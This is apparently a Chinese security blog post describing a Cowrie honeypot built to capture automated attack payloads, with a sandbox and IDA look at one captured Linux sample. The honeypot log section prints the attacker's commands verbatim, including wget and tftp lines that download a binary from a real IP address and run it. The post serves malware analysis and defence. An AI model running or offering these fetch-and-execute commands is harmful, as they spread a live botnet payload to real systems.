导语:最近正在研究沙箱产品,为了更好的验证沙箱的准确性,需要对恶意软件的样本进行分析,就搭建了一套蜜罐系统,捕捉互联网的自动化攻击程序的drop payload。

0x00 前言

最近正在研究沙箱产品,为了更好的验证沙箱的准确性,需要对恶意软件的样本进行分析,研究以前别人归纳总结的样本其实意义不大(无法追踪最新的样本变化趋势),于是就搭建了一套蜜罐系统,捕捉互联网的自动化攻击程序的drop payload。OK那么我们开始。

0x01 捕捉恶意样本

当然做一个牛逼的蜜罐建议使用高交互蜜罐,我理解高交互蜜罐其实就是真实虚拟化操作系统,可以使用KVM方式实现,但是对于我的需求就是抓住自动化攻击下载的恶意程序即可,所以我选择了cowrie中度交互蜜罐。

建设架构如下:

01.png

还有需要修改一下cowrie中的userdb.txt中的账号密码:root/root,root/123456任何一个弱口令字典中肯定有。

真的难以置信,刚架设上不到5分钟,就已经有样本了。

1、New connection: 78.188.175.58:49529 (172.31.0.21:64444)
感染的扫描器地址。
2、login attempt [root/password] succeeded
3、direct-tcp connection request to 185.234.218.242:443 from 127.0.0.1:22
反向连接到185.234.218.242
4、sudo /bin/sh
5、/bin/busybox cp; /gweerwe323f
6、echo -e '\x47\x72\x6f\x70/' > //.nippon;   cat //.nippon;   rm -f //.nippon (\x47\x72\x6f\x70/=Grop/)
尝试建立目录Grop/ Grop/lib/init/rw Grop/proc Grop /sys Grop/dev Grop/dev/shm Grop/dev/pts
7、echo -e '\x47\x72\x6f\x70/lib/init/rw' > /lib/init/rw/.nippon;   cat /lib/init/rw/.nippon;
8、echo -e '\x47\x72\x6f\x70/proc' > /proc/.nippon;   cat /proc/.nippon;   rm -f /proc/.nippon
9、echo -e '\x47\x72\x6f\x70/sys' > /sys/.nippon;   cat /sys/.nippon;   rm -f /sys/.nippon
10、echo -e '\x47\x72\x6f\x70/dev' > /dev/.nippon;   cat /dev/.nippon;   rm -f /dev/.nippon
11、echo -e '\x47\x72\x6f\x70/dev/shm' > /dev/shm/.nippon;   cat /dev/shm/.nippon;   rm -f /dev/
12、echo -e '\x47\x72\x6f\x70/dev/pts' > /dev/pts/.nippon;   cat /dev/pts/.nippon;   rm -f /dev/
13、cd /;   wget http://185.234.218.242/bins/usb_bus.x86 -O - > usb_bus ;  
chmod 777 usb_bus ; ./usb_bus ;/gweerwe323f
wget下载病毒样本
14、Downloaded URL (http://185.234.218.242/bins/usb_bus.x86) with SHA-256 fe7e278d41be519d75bccea58b4b22edbe176bdd4d83f049a6a55440219f908b to dl/fe7e278d41be519d75bccea58b4b22edbe176bdd4d83f049a6a55440219f908b
15、chmod +x ./usb_ver;./usb_ver; ./usb_bus ;/gweerwe323f
给执行权限
16、cd /;    tftp -l usb_ver -r dlr.x86 -g 185.234.218.242 ; chmod 777 usb_ver ; ./usb_ver ; ./

185.234.218.242 nmap扫描结果:

02.png

0x02 沙箱分析

1、linux沙箱开源比较少,这里我选择的是腾讯的habo沙箱。蜜罐溯源其实主要关注网络分析结果。

@1、读取文件

详情信息:

read: path=/lib/x86_64-linux-gnu/libcrypt.so.1, size=832

read: path=/lib/x86_64-linux-gnu/libdl.so.2, size=832

read: path=/lib/x86_64-linux-gnu/libpthread.so.0, size=832

read: path=/lib/x86_64-linux-gnu/librt.so.1, size=832

read: path=/lib/x86_64-linux-gnu/libc.so.6, size=832

read: path=/lib/x86_64-linux-gnu/libgcc_s.so.1, size=832

动态加载模块函数。

@2、网络行为分析

image.png

image.png

image.png

image.png

image.png

微步查询:linuxusaarm.com 在3月28日由修改。

2018-03-28   修改      注册者: guang bei   ******** ******** (see Notes section below on how to view unmasked data)

03.png

2、静态分析部分,在IDA中strings中发现,https SSL非标准协议,剩下的事大佬可以自己搞了。。。

04.png

这部分需要深入分析,暂时就这么多数据。

文件被stripped,丢失很多信息。使用lscan扫描后,发现现成的库占比很少加载到IDA也显示不了多少。

05.png

源链接

Hacking more

...